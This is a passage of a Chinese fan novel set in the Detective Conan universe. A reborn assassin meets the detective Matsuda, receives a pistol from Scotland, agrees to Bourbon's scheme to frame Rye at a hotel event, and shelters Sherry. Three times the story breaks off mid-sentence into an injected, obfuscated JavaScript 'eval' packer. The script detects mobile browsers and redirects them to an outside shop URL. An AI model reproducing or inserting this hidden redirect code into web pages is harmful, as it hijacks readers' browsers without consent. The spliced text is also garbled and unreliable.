但在清理相册的时候,她意外发现了一张仓库已经起火时拍下的照片。 对着那张照片的信息进行反复研究,她依然没有头绪。 或许真的就只是一个巧合。 那晚原主刚好路过这里,看着仓库着火,刚巧掏出了手机,事不关己一般地拍了一张照…… 她一边想着,一边靠近仓库,在临近仓库的地方驻了足。 有很多人与她的死亡有关。 莱伊、琴酒、楠田陆道,或许还有那个炸.弹的制造者,她要一笔一笔账问他们讨回。 正想着,她看到了一个身影正站在仓库的周围。 那个身影很眼熟。卷发、黑衣、墨镜,手里还拿着一根烟。夕阳之下,他头顶的卷毛被夕阳染成了浅棕色。 是富浦居酒屋的那位深夜客人。 一瞬间白羽响明白了些什么。 之前钓鱼人说的,经常会来这里转悠的警.察竟然是他。 那人显然也看到了她,取下了墨镜。两人对视一眼,看见了彼此目光中的惊讶。 白羽响站在原地,她记得他的脸,却不知道名↓字,更不知道此时应不应该上去和他打招呼。 他显然也认出了她,眉梢挑起笑了笑:“松田阵平,你叫我松田就好。” “白羽响。”她神色如常地报上名字,指尖却悄悄摸向了口袋里的折叠刀。 和警.察打交道,从来都不是安全选项。何况对于他来说,自己只是那家店的一位女招待,不应该对这个案件感兴趣。 松田阵平的目光扫过她看向仓库的方向,语气随意却带着点探究:“你很关心这个案子?” 白羽响微微摇了摇头:“那倒不是,我路过而已。” 她想迅速抽身走了。 组织再怎么能人辈出,也可能会在某天遭遇马失前蹄。她在组织里做了这么多年的脏活,从来都不敢小瞧警.察这个群体。 这是爱尔兰教给她的行事原则。她曾怀疑爱尔兰有警方的朋友,但对此她的这位义兄总是三缄其口。 打交道这种事,居酒屋还算舒适,案件现场还是算了——何况还是她自己的死亡现场。 “这样啊。”松田看了她一眼,把目光转向了仓库,“听起来,你好像知道这里发生的案件,完全不好奇。” 白羽响看着他的侧脸,一时沉默了下来。 这个人……体态很松弛,但是头脑却很敏锐,怎么看都觉得不好对付。或许就在刚刚那一句话的问答中,她已经引起了对方的怀疑。 “嗯?”松田阵平的目光转了回来,再次看着不说话的她笑着问,“我猜对了?” 白羽响看着那双清明的眼睛,眸光转向了一边的水域。 “好吧。我承认,我姑且算是那位女死者的妹妹。”她很快就为了自己刚才的隐瞒找好了借口,“不过我对她没什么了解,只知道她的工作不算‘安全’,是警方管辖之外的灰色地带。我也没有去认领她尸体的义务……毕竟像她那样的人,会有这样的结果也是理所当然的吧?” 松田阵平灭了手中的烟,戳穿了她的谎言:“如果你真的这么想,现在也不会出现在这附近了。” 白羽响抿了抿唇。 结束的那一生,短暂又苦涩,甚至无人为她收敛尸体。 她又怎么会甘心呢? “但是我相信前半段的话。”他指了指自己的眼尾,“我看过法医复原的死者样貌,你的眼睛和她很像。” 白羽响有些诧异地摸了摸自己的眼尾。 她从来没觉得这具身体和以前的自己有相似之处。 刚重生的时候,这具身体骨瘦如柴,她养了大半个月,才慢慢有了力气,有了血色。 指尖传来温热的触感,松田阵平的话像颗石子投进了她的大脑,泛起圈圈涟漪。 “我没有想劝你去认领那具受害者遗体的意思,那是搜查一课的活。”松田阵平话锋一转,递了一张名片给她,“但是如果你改变了主意的话,也可以找我聊聊,我对这个案子很有兴趣。” 他不是搜查一课的警.察,但却对这个案子很有兴趣? “为什么?”白羽响有些好奇地接过了他手中的名片,“你对这个案子有不同的看法?” “那倒不是。”松田阵平的目光看向身后的仓库,“我只是怀疑,现场或许被什么人处理过了——这里或许曾经有一枚特制的微型炸.弹。” 白羽响的呼吸骤然一滞。 炸.弹…… 她也确实认为自己死于一枚炸.弹,而非什么意外起火导致的爆.炸。 她攥紧了手指,想说点什么,却又硬生生忍住。她不能将那些告诉松田阵平,再说更多会引起怀疑的。 “我替她谢谢你的执着。”她最终只说了这么一句,声音很轻,“就当是我的直觉吧,你的方向未必是错的。” 松田阵平回头,凝视她的眼睛。 白羽响看着他目光,回忆起他在下班后依然在调查什么事情,很晚才会光顾居酒屋…… 或许他的执着也有一些不得已的原因。 她有许多想说的话,但是最终只化作了微不可闻的叹息。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021116|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得走了。 与松田阵平的相逢就像是这天的一个插曲,回到安全屋后,她就将这件事抛之脑后,开始了新的一轮安全屋筛选工作。 最后在斟酌之后,她选择了一处靠近市区的旧公寓。这里地理位置优越,能方便地前往各处,价格比自己现在的安全屋略贵,但是值得。 更重要的是,她在调查的时候看到了与此处一墙之隔的公寓名字,那是波本之前打算与她共享的安全屋。高档住宅,遍布监控,十分符合他一贯的作风。那座公寓楼底下有一条直通两条街区外的地下通道,正好就在她新选的安全屋不远处。 波本是会选地方的,狡猾的狐狸。 做完这些,她将口袋里的松田阵平的名片拿了出来,犹豫了片刻,还是没有扔掉,把它随手夹进了一本旧书里。 这是她在组织生涯里,难得感受到的善意,即使它来自于一个只见过两次面的警.察。 第二天清晨,白羽响早早起身,把为数不多的行李打包好。拎着行李箱走到门口,习惯性地拐向楼道角落的信箱——这是她住在这里的半个月里,每天都会检查的地方,倒不是有什么期待,只是组织成员的警惕性,让她不会放过任何一点异常。 今天的信箱,里头有东西。 她从信箱中摸出了一个小小的棕色包裹,没有快递单,只用麻绳简单捆着,上面贴着一张便签,字迹看着有些熟悉。 “给响小姐,青川。” “青川”这个姓氏,像电流般窜过指尖,白羽响的心脏猛地一跳。 她迅速左右扫视四周,楼道里静悄悄的,只有窗外传来几声鸟鸣,阳光透过楼道的小窗,在地面投下斑驳的光影。她屏住呼吸,伸手将包裹从信箱里取出,指尖触到包裹的瞬间,能感觉到里面硬硬的质感。 就在她收回手的刹那,眼角余光瞥见楼梯口有个人影一晃而过。 那人穿着普通的深色外套,戴着鸭舌帽,动作极快,转眼就消失在了楼道尽头。 白羽响握紧包裹,下意识摸向腰间的折叠刀,却没有追上去。 “青川”,这个她无比熟悉的、响酒对苏格兰旧称。 这是苏格兰送给她的东西,那么远程盯着的大概是苏格兰的线人,来确实她是否收到东西的。 她回到安全屋内,关上门,靠在门板上,盯着那个棕色的小包裹,指尖微微发颤。 按照情理,“白羽响”是不知道“青川辉”这个名字的,而“响酒”才知道。 或许这意味着,苏格兰对她的身份起了怀疑。 白羽响反复翻看了那个包裹,小心翼翼地将它拆开,然后呼吸都跟着停止。 一把勃朗宁HiPower手.枪,枪身擦得锃亮,握把处还缠着她以前最喜欢的黑色防滑带。这是“响酒”同款枪,当初她用了三年。 苏格兰…… 他没过问,没戳破,只是在离开前,悄悄把这把枪寄给了她。 难怪他昨天会问她更换安全屋的时间,难怪他走的时候,眼神里带着点欲说还休的克制——或许他也曾有过向她确认的想法,但迅速地被他掐灭在不言之中。 白羽响握着枪,眼眶突然就热了。她靠在墙上,慢慢蹲下来,把脸埋在膝盖里,鼻头发酸。 算算时间,他已经在前往鸟取的路上,连他自己都不知道什么时候才能回来,但他努力地在为她考量。 他有猜测,但他不需要听到回答。 白羽响用指腹抚摸着枪身。 这是一把自保的武器。 这也是一份临别的礼物。 24.一场合谋构陷邀请 苏格兰离开后的日子,白羽响把大部分时间都耗在了以前常去的地下射击场。 这里既不属于组织,也不属于官方,是一块纯粹的灰色地带。地方虽然偏远,但好在不会有人来打扰,因此她练得很尽兴。 潮湿的空气里混着火药味和铁锈味,昏黄的灯光只照亮靶心那片小小的区域。 白羽响穿着黑色皮衣,袖口挽到小臂,露出线条利落的手腕,手里握着苏格兰送的勃朗宁HiPower。 扳机扣动的瞬间,后坐力顺着手臂传来,震得虎口发麻,靶心处瞬间多了个弹孔。 十环。 几天的练习之下,她的手上已经渐渐出现了茧子,虎口的地方更是被磨得红了一片。这很痛,但她没有其他的选择。为了复仇能够顺利进行,她必须尽快将这具“大小姐”一般的身体磨炼成一名杀手。 她不缺乏开枪的勇气,但稳定和准头更为重要。 弹壳“叮”地落在地上,朝着墙角的方向滚去。 白羽响看着靶心那片密集的弹孔,眼前不受控地浮现出莱伊的脸。 那个踩着她的死亡获得嘉奖的可恶男人…… 她深吸一口气,再次举枪,枪口稳稳对准靶心,仿佛那就是莱伊的脑袋。 一声枪响之后,新的弹孔落在九环边缘。 “偏了。” 她叹了口气。 明明已经决定要杀了莱伊,但每当想起这个人,枪就容易失去准头。 他那双绿色的眼睛如果失去生机的话…… 她沉默了靠在墙上,将枪在手中转了两圈,搁在枪袋之中。 今晚就到此为止吧。 这段时间,波本没联系她,追债人也没再上门。而她完全沉迷在训练中,新找的安全屋成了只用来睡觉的地方。 期间,她收到来自苏格兰的邮件,内容很简单,就两句话。 ——我已经到鸟取了。东西拿到了? 她抚摸着手中熟悉的枪支,用感谢的口吻答复了这句话。 ——拿到了,感谢。 这句话说完,她开始担心用词是否太过客气生疏。斟酌一会儿之后,她再次输入了一句话。 ——最近东京都在降温。鸟取如何? 她的提问一晚上都没有得到回应。直到第二天的中午,苏格兰的回信才到达她的邮箱。 ——正是宜人的时候。 附带的是一张猫爪踩着枫叶的相片。猫没有完全出镜,只有两只毛茸茸的脚掌。 他能有这份闲心,大概没有遭遇太紧迫的任务,白羽响不由松了口气,开始和他开玩笑。 ——嗯?是变成猫了吗? 回答她的是一个猫叫的表情包,就好像手机另一头的那个人承认变成了猫咪一样。 白羽响不由笑了起来,脑海中尽是苏格兰那双微微上挑的眼睛。 此时此刻,他应该也笑着吧。 有温度地笑着。 闲着没事的时候,她绕去了自己作为响酒时期的安全屋——那是间藏在旧居民楼地下室的小房间,门上的锁早就锈了,她用铁丝撬了一会儿,就成功地进入其中。 房间里保持着她离开时候的样子。 她在墙上的内壁之中取出了一个木箱,打开箱子,里面整整齐齐码着几盒子弹,都是勃朗宁能用的型号,还有一把备用的枪套。 她把子弹全都塞进背包,刚要走的时候,瞥见了冰箱上贴着的旧任务清单。最新的那一条是“与贝尔摩德在顶楼交接”的字样,日期正是9月6日。 看到这些东西,她的内心着实不好受,于是便取下了那张便签塞入口袋,干脆眼不见为净。 转身准备离开的时候,她突然发现了一点异样的痕迹。 阳光下的木质地板上,在浮起的微尘中,这件安全屋的卧室似乎有人踏过的痕迹。她刚刚没有进入卧室,不可能是她的。 心脏猛地一缩,她蹲下打开手中的手电,细致地看了又看。 她没看错。 那应当是一双男士的鞋,进入了她的安全屋。脚印很新,或许比她重回这里的时间也早不了多久。 一股寒意顺着她的脊骨而上。她思考片刻,从口袋中拿出那张便签,又将它展平后贴了回去。 谁在查她? 是谁闯入了她的秘密安全屋? 她死得仓促,遗物或许在警方手上——也有可能到了组织手里。毕竟按照那位松田警官的说法,她的死亡现场有不自然之处,或许曾经有组织的手笔。 但是……组织查她的安全屋干什么? 那如果是警方的话,又怎么会这样偷偷摸摸的? 她一时有些想不明白,只得收好子弹,迅速地从远处退出了安全屋,全副武装地从小路中离开了。 心里揣着事,练枪自然也练得不稳。练得不稳,她自然就更加想要将枪练好。 于是这几天,她几乎都练到深夜。 某天晚上,白羽响从射击场出来,刚走进安全屋附近的地下通道,就收到了一条简讯。 ——共享安全屋见,有要事相商。波本。 地下通道里空无一人,只孤独地亮着一盏发着绿荧光色的应急灯,她的脚步声在空旷的通道之中回荡。 她随手回了个“了解”,加快脚步前往波本那栋豪华的高级住宅。 习惯性地掩着自己的脸进入了电梯之后,她瞄了一眼电梯间自带的电子时钟。 深夜两点。 对于波本是个谈话的好时候,她却已经有点犯困。不过为了提神,她还是习惯性地摸了摸自己的枪套。 与波本打交道,随时都得提高警惕。 安全屋的门打开的瞬间,白羽响就知道这里不是波本的常驻处。 客厅很大,家具都盖着米白色的绒布,只有中间的沙发和茶几露出来,旁边的佛龛上落满灰尘,香炉里的香早就燃尽了,显然是前户主留下的。 看起来这家伙给她共享的安全屋只是一个比较私人的常用联络点,心防也未免太高了一些。 迎接她的波本穿着深灰色马甲,里面是件熨得平整的白衬衫,领口松开两颗扣子,露出一点锁骨。微长的发尾扫过耳尖,笑起来时眼尾带着微微向下的弧度,倒少了几分平日的锐利,多了几分慵懒的性感。 白羽响的目光扫过他今天的装扮,整个人的眉头都舒展开了。 凌晨两点,但波本秀色可餐。 她突然不困了。 “你在家也穿这么正式?” 白羽响挑眉,走进来随手关上门,语气里带着点调侃。 如果忽略他的危险性,她是相当喜欢这张脸的。尤其是配上这身小马甲和客厅暖黄的灯光,简直像从杂志里走出来的人。 他比她更适合去做模特的工作。 波本笑了笑,转身走向吧台。 “总不能穿睡衣见你。倒是你……”他回头看了眼她的皮衣,“怎么大晚上的穿成这样,像个刚从演唱会回来的朋克少女。” 白羽响被他这么一说倒也不生气,倚在门口朝他展示了一下自己拉风的皮衣:“方便啊,还能御寒。” 自从她在原主的衣柜里翻出了这身压箱底的“机车装”,就彻底爱上了。 波本回头再次打量了一下她的皮衣,微笑着没再回应。 他利落地拧开了一瓶起泡酒,又取来一个高脚杯,透明的液体在杯子里冒着细密的泡泡,度数看起来不高。盛了酒杯子递到了白羽响的手中后,波本邀请她坐下说话。 态度这么友好?白羽响心里犯嘀咕。 上一次二人分开的时候,临别礼物可是加了醋的荷包蛋。 想起这件事,她不由微微上扬了一下嘴角。 “笑什么?”波本轻轻地与她碰杯,“不会在想什么坏主意,来报荷包蛋之仇吧?” “我可没有你这么幼稚。”白羽响坐在沙发上抿了口酒问他道,“说说看,组织安排了什么要事。” 波本在她对面坐下,身体靠着身后的沙发垫,模样很是松弛:“三天后,杯户饭店有个医疗企业发布会,我需要你协助我保护一位研究员。” 白羽响手里的杯子顿了顿。 “保护?”她嗤笑一声,“组织什么时候开始接保镖的活了?我以为我们这样的人只负责夺人性命。” 波本避开她的目光,端起自己的杯子喝了口:“‘保护’并不是组织的要求,但和组织的任务有关。” 白羽响看着他挪开的目光,心头升起了一丝异样的感觉。 波本语焉不详,看起来并不想让她知道具体内情。 可是,如果不问个清楚,她又会因为这种不明不白而陷入麻烦的。 “有关是什么意思?”她放下杯子,身体靠向沙发背,脸上的笑意慢慢沉了下去,“波本,我可不做不明不白的事。你背着组织接私活,这种危险的事不要带上我。” 波本看了一眼她的神色,欲言又止地揉了揉他的眉心。 显然他没想到白羽响对这些事要刨根问底。此时此刻,她的敏锐和聪慧变成了缺点,阻碍了他的计划。 “好吧。”几秒钟后,他眉头动了动,向她松口,“我要抓组织里一个叛徒的小辫子。那个研究员是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031174|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暗杀目标,我需要通过保护此人,让那家伙的暗杀计划失败——这样就能证明他对组织不忠诚。” 叛徒。 不忠。 所谓的“保护”,只是一场有预谋的构陷。 白羽响似笑非笑地盯着波本。 这张纯良的面孔之下,在想的都是些什么主意啊——抓小辫子、构陷、冤杀…… 这番说辞,让她想到了当时自己被组织认定为叛徒并炸死的情景。 这种主意,亏他也能毫无负担地说出口,还要拉着她一同参与。 她心里翻滚着怒火与不齿,却没表现出来,只是淡淡地看着波本,一言不发。 甚至在一瞬间,她动了杀念。 或许是她的沉默太有压迫感,波本没再往下说计划,反而站起身,走到落地窗前,透过薄纱看着米花町的夜景。 “你不是说,9月6日爆炸案的女性死者跟你有些渊源吗?”他突然话锋一转,声音里带着刻意的引导,“她的死与那个叛徒有关。现在,这是给你的故人报仇的机会,只要你做得好,甚至可以得到晋升,迅速地拿到属于自己的代号。” 一瞬间,白羽响的呼吸停住。 手里的酒杯跟着微微一晃,起泡酒的液体洒在她虎口的创可贴上,冰凉的液体让她定了定神。 “叛徒?谁?”她再次和波本确认,“我有些不明白。” “那个出事的晚上,在仓库中出现的原本应该是他。”波本将目光挪回她的身上,“可是他耍了一些手段,将事情栽到了别人身上,导致她死得不明不白。” 他要对付的人,是莱伊? 白羽响的指尖微微发颤。 为了什么?在组织里获得更多话语权?还是单纯嫉妒莱伊的能力? 她看着波本的双眼,有些不寒而栗。 如果他所说的那些真的实现,那么深受组织信任的莱伊,也会像当初的她一样,被认定为叛徒。 想到这里,她的心里翻涌着复杂的情绪。 这个交易,让她不太舒服。 她从爱尔兰那里继承了快意恩仇的作风,不喜欢在背后给人捅刀子。就算有机会给自己报仇,也应当做得更直截了当些。 莱伊那种人的结局如果是被冤杀…… 她也不会觉得有多么痛快。 但是,波本这番意有所指的话,显然在诱导她自愿做他的“刀”。波本为什么这么笃定,自己会同意这个计划? “听起来不太靠谱。”白羽响思索了一会儿,决定听听有没有更“实惠”一点的条件,“我去替你做这件充满风险的事,得到了好处却要在事情结束后兑现。我有点害怕。” 她当然并不害怕。 排除那些让她心里不舒服的手段,她对这个交易的部分内容是很心动的。 毕竟,她的目标也是莱伊。 “好吧。我会帮助你在这个任务里得到一笔高额金钱——不仅可以补上你现在的、欠债的窟窿,还能让你实现财富自由。”波本向她征求意见,“如何?” 白羽响挑了挑眉。 钱啊。 她喜欢,也没那么喜欢。 不过这已经是能从波本口中得到的,相对有用的承诺了。 她深吸一口气:“行。不过,我还要你留下指使我这么做的证据,以确认你不会在这之后过河拆桥,将我也算计成组织的叛徒。” “怎么会呢。”波本看着窗外笑了笑,眼神却没什么温度,“你会得到嘉奖的——就像三周之前的他一样。” 这种以其人之道还治其人之身的做法中,透露着一股莫名的恨意与执着。 白羽响循着那丝恨意琢磨起波本的想法,一时想不到其中的原因。 不管波本是出于什么动机,他们的目标一致了。 她要找莱伊报仇,而波本要构陷莱伊。 虽然他的手段肮脏又激进,但她正愁找不到渠道见莱伊一面,这么一来,他们竟然算是一拍即合。 “成交。”她没再追问,只是端起杯子,将剩下的起泡酒一饮而尽,“需要我做什么?” 或许是得到了她的首肯,波本的脸色变得温和起来:“好,我们彻夜讨论一下接下来的计划吧。” 白羽响看着他的脸上浮现起了真心实意的笑容,心头的冷意挥之不去。 波本这张英俊的皮囊下,藏着一个恶魔一般的灵魂。 “那么首先,我们就从让你的模特公司接洽一份新的工作开始计划吧。” 波本说着,伸出手递给了她一张邀请函。 “多多指教,白羽小姐。” 25.偶遇雪莉 这个晚上,波本大致给她讲了行动的安排。 “组织行动的目标是一个研究员,叫作黑川郁夫。你需要在布场的那天就作为工作人员提前混进去,完成勘察现场和藏匿工具的工作。”波本说着,从口袋中再次掏出了两个小部件,“给你。别看它们很小,但是如果不提前带进去的话,正式行动的那天,我们会很被动的。” 白羽响查看了一下波本给她的东西。 其中一个金属外壳在灯光下泛着哑光,打开一看是一副耳机。 “远程耳机。”波本说道,“只要手机离它在三公里内,都能连接上。” 白羽响点了点头,又查看了另一个四四方方的小玩意:“这是?” “一枚掺了硝石和血浆的微型远程爆.破装置。”波本笑了笑,“计划的‘核心演员’,负责制造有人死去的假象。” 懂了,用来构陷莱伊的。 白羽响将两样东西拿在手中,抬头再次问波本道:“勘探之类的事,你比我专业多了,为什么不自己去?” 对于这个问题,波本的回答是:“这不是我的任务。组织里认识我的人不少,贸然出现会引起怀疑的。你不一样,他们不认识你。” 骗人。 他只是想置身事外,让她去做出头鸟,到时候没有风险地全身而退。 白羽响没戳穿他,沉默地按停了录音的停止键。波本在录音中自呈了如何构陷莱伊的部分,算是她的一重保障。 尽管如此,她心里觉得很不踏实。 直觉告诉她,波本没和她坦白所有的计划。 “你还安排别的后手了,对吗?”她问波本。 而且,目的不是为了保护她。 波本的目光飘走了一瞬,然后笑了:“是有别的交易对象,但和你的部分不交叉。” 看来她所料不差。 鼻间发出了一声轻笑,但白羽响却完全不觉得高兴。 前几天在安全屋中的夜晚恍如隔世,她都快想不起来那个时候的波本是怎么在她的“欺压”之下妥协让步的。 短短一周的时间,他好像又变得很遥远…… 而且很不可爱。 最后离开波本的住处之前,她还是忍不住问了一句:“苏格兰知道你的计划吗?” “这些事情,与他无关。” 得到了这样的答案之后,白羽响从波本的安全屋离开了。 她一边走,一边打开了邮箱。与苏格兰的对话还停留在几天前的相片上。 无论是猫咪的爪子还是散落的枫叶,都与组织里的阴谋诡计格格不入。 她犹豫再三,只是当作日常报备,在发消息的时候隐瞒了与波本危险的交易。 ——今天去了波本那儿,马上就要有新的任务了。 第二天醒来的时候,邮箱里已经躺着苏格兰的回信。 ——和波本搭档吗?多加小心。 白羽响不由嗤笑。 小心什么?小心波本吗? 那确实需要小心。 她不知道和波本那种共犯一样的关系算不算是一种“搭档”,心里不舒坦之下,将那些事抛诸脑后,只是问起了苏格兰的境况。 ——你的任务顺利吗? 隔了几个小时,苏格兰再一次回应了她的关心。 ——我还好,能对付,不用担心我。 “还好”这个词听着有些勉强,看起来这个任务并不轻松。尽管他说了无须担心,但白羽响的脑子却不听使唤。 难道他架狙架了几个小时?还是说最近一直在奔逃之中? 她不由浮想联翩。 两天后,白羽响捏着波本给她的工作证,站在杯户饭店旋转门外。 烫金卡片边缘泛着冷光,富泽财团的狮鹫logo与“普罗米修斯计划招待员”的字样交叠,指尖抚过卡面微凸的纹路。 根据波本的说法,其中应当有一枚用来识别她身份的芯片。 “请出示工作证,配合安检。”穿黑西装的安保抬手拦住她。 白羽响递过卡片时飞快扫了眼附近的人。六个安保全是深目高鼻的外籍面孔,黑色西装的肩线比普通安保宽出两指,腰后隆起的弧度多半是枪套,她盲猜是便于携带和改造的格洛.克枪。 雇佣兵?真是下了血本啊。 看来这个任务并不简单。 安检仪扫过她的皮包时发出尖锐的蜂鸣。 “耳机。” 她坦然掏出藏在夹层的通讯设备。 “明天不准带。”会说日文的亚裔安保将耳机丢回她包里,语气冰冷。 白羽响点了点头,收了回去。 高跟鞋踩过安检台时,仪器再次爆鸣。 她的指尖下意识绞了绞包带,唇角弯出恰到好处的窘迫笑意,在安保人员的要求下,脱下了鞋子,任由探测器在鞋面上反复游走。 金属搭扣的反光晃得人眼晕,拿着她鞋子的那个人拽了一把,没有拽动。 白羽响盯着那人的动作,适时地抱怨:“小心些,这双鞋可贵了。” 安保人员捏着鞋跟翻来覆去检查,指甲几乎要抠破皮革,最终皱眉丢下一句:“明天换无金属扣的鞋,再这样直接拒入场。” “好的,给您添麻烦了。” 白羽响弯腰穿鞋时,后背已沁出薄汗。直到穿过玻璃门,确认安保的视线没追过来,才暗暗松了口气——这枚掺了硝石和血浆的微型爆破装置,好歹是装在高跟鞋中通过了安检。 宴会厅的冷气扑面而来,让她打了个寒颤。 她站在原地,环视四周。 中央展示台占据了会场的半壁空间。朱雀科技的红色logo旁,写着“普罗米修斯计划”几个大字。宣传板中央嵌着张照片,一个五十岁上下的男人戴金边眼镜,笑容温和,看起来像个大学教授,底下标着“黑川郁夫”几个字。 白羽响盯着照片几秒。 这就是莱伊要猎杀的目标,也是波本的计划中需要保护的人。 这是一个躲在实验室里、终日不肯出来露面的研究员。根据波本的情报,他这种龟缩一样的状态已经持续了很久的时间,而这个研究员与组织有着不小的瓜葛,因此才会被盯上。 “喂,你是新来的模特?快到后台换衣服!”一个穿红色马甲的工作人员扯了她一把,打断了思绪。 “好的。” 她点头应了一声。虽然会场的信息很重要,但她还有自己要做的事。 接下来的时间,白羽响踩着十厘米恨天高,端着空玻璃展柜在台上站成了雕塑。聚光灯烤得皮肤发烫,嘴角的假笑快要僵住,直到正午的钟声敲响,才得以借着去洗手间的名义溜出会场。 她在无人之处戴上耳机,拨通了波本的电话。 “早啊。”男人慵懒的声音透过耳机传进了她的耳朵。 “早吗?”白羽响瞥了眼时间,指针指向十二点十五分,没好气地说道,“我这儿已经十二点多了。你活在哪个时区啊?” 波本的轻笑从耳麦中传来:“开玩笑的。我没在偷懒,一直在等着你的来电呢。” 白羽响相信他的话,她在接触中逐渐了解到这家伙是个工作狂。 这几天他恨不得将整个计划都拆分成最细枝末节的东西讲给她听。 情报组的这些暗探、伪装、信息搜集,不仅容错率低,还要花费巨大的心力去准备。波本很厉害,但她听着却觉得头大——也不是学不会,她就是觉得没有在行动组的时候直接一枪爆.头来得方便。 “现场如何?”波本问道。 “精彩纷呈。”白羽响简单地说了一下刚才的观察,“这个厅的整体是个扇形,东西两侧都有出入口,北侧的贵宾休息室旁边有个紧急出口。南侧是媒体区,不过今天一个人都没来。天花板有六个监控,其中两个对着展示台,四个覆盖通道,死角在西侧出口旁边的储物间旁边……” 她再次确认了一遍之后,更换了说法:“这个储物间好像被征用做了化妆室?总之这里的顶上有一排位于高处的玻璃,能看到会场的中央的主席台,是理想的狙.击位。” “还有别的位置吗?”波本问道,“那家伙枪法不输琴酒,刁钻的角度也能把人一枪毙命。” 只是不输琴酒? 白羽响在内心想,莱伊的枪法或许比琴酒更好。 “我觉得,他就会选这里。”她抬头,看着窗外的那处高楼说道。 居高临下又安静,适合观测敌情、测算风速。 莱伊是百炼成钢的狙.击手,这样的地方他一定很喜欢。 很快,意识到暴露了对于莱伊的了解,她又迅速给自己找补。 “我是说,明天的发布会也是上午。这个地方的高层,光照比较充足……你知道的,在执行任务之前预热子弹,能够提高燃烧效率,有些狙.击手喜欢这么干。” 莱伊会不会这么干,她不知道。从前莱伊在行动的时候,她多半在别的地方蹲点,那家伙喜欢单干。为数不多在一起行动的时候,好像偏偏都是下雨天。 但苏格兰有这样的习惯。 他从架枪起就特别谨慎,力求一枪到位。为此,他会把所有准备工作都做好。 “你还知道这个。”波本有些小意外,“我真是每时每刻都在对你刮目相看。” 白羽响免疫了他的恭维,只是淡淡地答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但科研组一向在boss手中,除了琴酒外,几乎没人能够染指。就算是她,从前与雪莉的接触也只停留在曾经去美国给她假扮过一次“监护人”。 那个时候,她与雪莉相处得不太愉快。 但她并不厌恶雪莉。 比起那些杀人如麻的家伙,这个有些冷漠的科学怪人少女看起来可爱多了。 “你要用水池吗?”白羽响一秒切换了温和友好的脸庞,让开到一边,假装没看到雪莉拿在手中的针筒。 雪莉的神色滞了一瞬,似乎准备夺门而出。 “别出去。”白羽响一把拉住她的手腕,捂住她的唇,压低声音在她耳边说道,“有人在找你。” 说着,她把欲言又止的雪莉塞进了旁边的隔间。 她刚关上了门,一个穿着黑衣的身影就闯入了女盥洗室。 白羽响受惊的尖叫声响起,那人慌慌张张地退了出去。 她听见那人和伏特加小声交流了几句,很快几人的脚步声就消失不见了。 “你可以出来了。”她小声对雪莉说道。 雪莉从隔间内慢慢地走了出来,抬头看了她一眼,随后目光挪到了她胸前的铭牌上。 “白羽响……?”她小声确认这个名字,似乎十分在意。 白羽响点了点头。 “为什么要帮我?”雪莉皱着眉,“你认识他们?” 这个问题让白羽响不知如何作答。 帮助雪莉躲藏只是一个下意识行为。她感觉得到这个女孩不想被组织的人找到,仅此而已。 “举手之劳而已。” “我被他们找到不会怎么样。”雪莉的语气有些生硬,“但你可能会倒霉,你不该帮我的。” 她还是老样子,拒人于千里之外的。 白羽响微微笑了笑。 印象中的雪莉就是这个样子,内敛冷静,有一种超越年龄的成熟。她说的话虽然不好听,但显然只是不想将她卷入组织里的那些事,并没有什么坏心。 “做都做了,后悔也没用。不过明天你最好不要再来这里了。”白羽响顿了顿,低声提醒她道,“组织有任务。” 雪莉的目光中闪过一丝惊讶:“你也是组织的人……” 白羽响没有说话,间接默认了她的说法。她没有再管雪莉的动向,低下头再次打开水池,把刚刚触摸了门把手的地方洗干净。 等再次抬起头来的时候,那个女孩已经消失不见了。 26.波本的晚餐 回到波本的安全屋时,已经是黄昏了。 站了一天,她的脚后跟被恨天高磨出的红痕沾了汗,一碰就疼得钻心。 波本给她开门之后,她终于解放了双脚,赤足站在门口的玄关处。 但她久久都没进屋。 这里大变样了。 之前盖着米白色绒布的沙发、茶几、书架,此刻都掀开了遮盖。深棕色的真皮沙发焕然一新,胡桃木茶几被擦得发亮,连角落里落灰的佛龛都被挪到了阳台,换上了一盆青翠的常春藤。空气里飘着淡淡的柠檬清洁剂味,还混着一丝若有似无的奶香。 “怎么在门口站着,当雕塑呢?”波本的声音从厨房传来,带着点笑意。 “你正式启用了这个安全屋?”白羽响走到客厅中央,轻轻摸了下沙发扶手,竟然真的都擦过了,“打算常住?” “总不能让你每次来,都像进了储物间吧。”波本一边和她说笑,一边走了出来,“你那么能干,我可不能做只会在你背后指手画脚的无能男人。” 这话里的调侃让白羽响忍不住笑出了声。 说这种俏皮话,多少有点犯规了。 更犯规的是他此刻身上还穿着一件相当可爱的围裙——米白色棉麻料印着圆滚滚的小熊耳朵,带子在背后松松打了个结,却偏偏勒出利落的腰线。 她走上前两步,一时没忍住,伸出手轻轻勾了勾他背后的围裙绳。 “嗯?”波本注意到了她的动作,挑了挑眉,丝毫没有被冒犯的不悦,甚至故意地放轻了口吻,“喜欢吗?” 白羽响点了点头,没有吝啬她的欣赏。 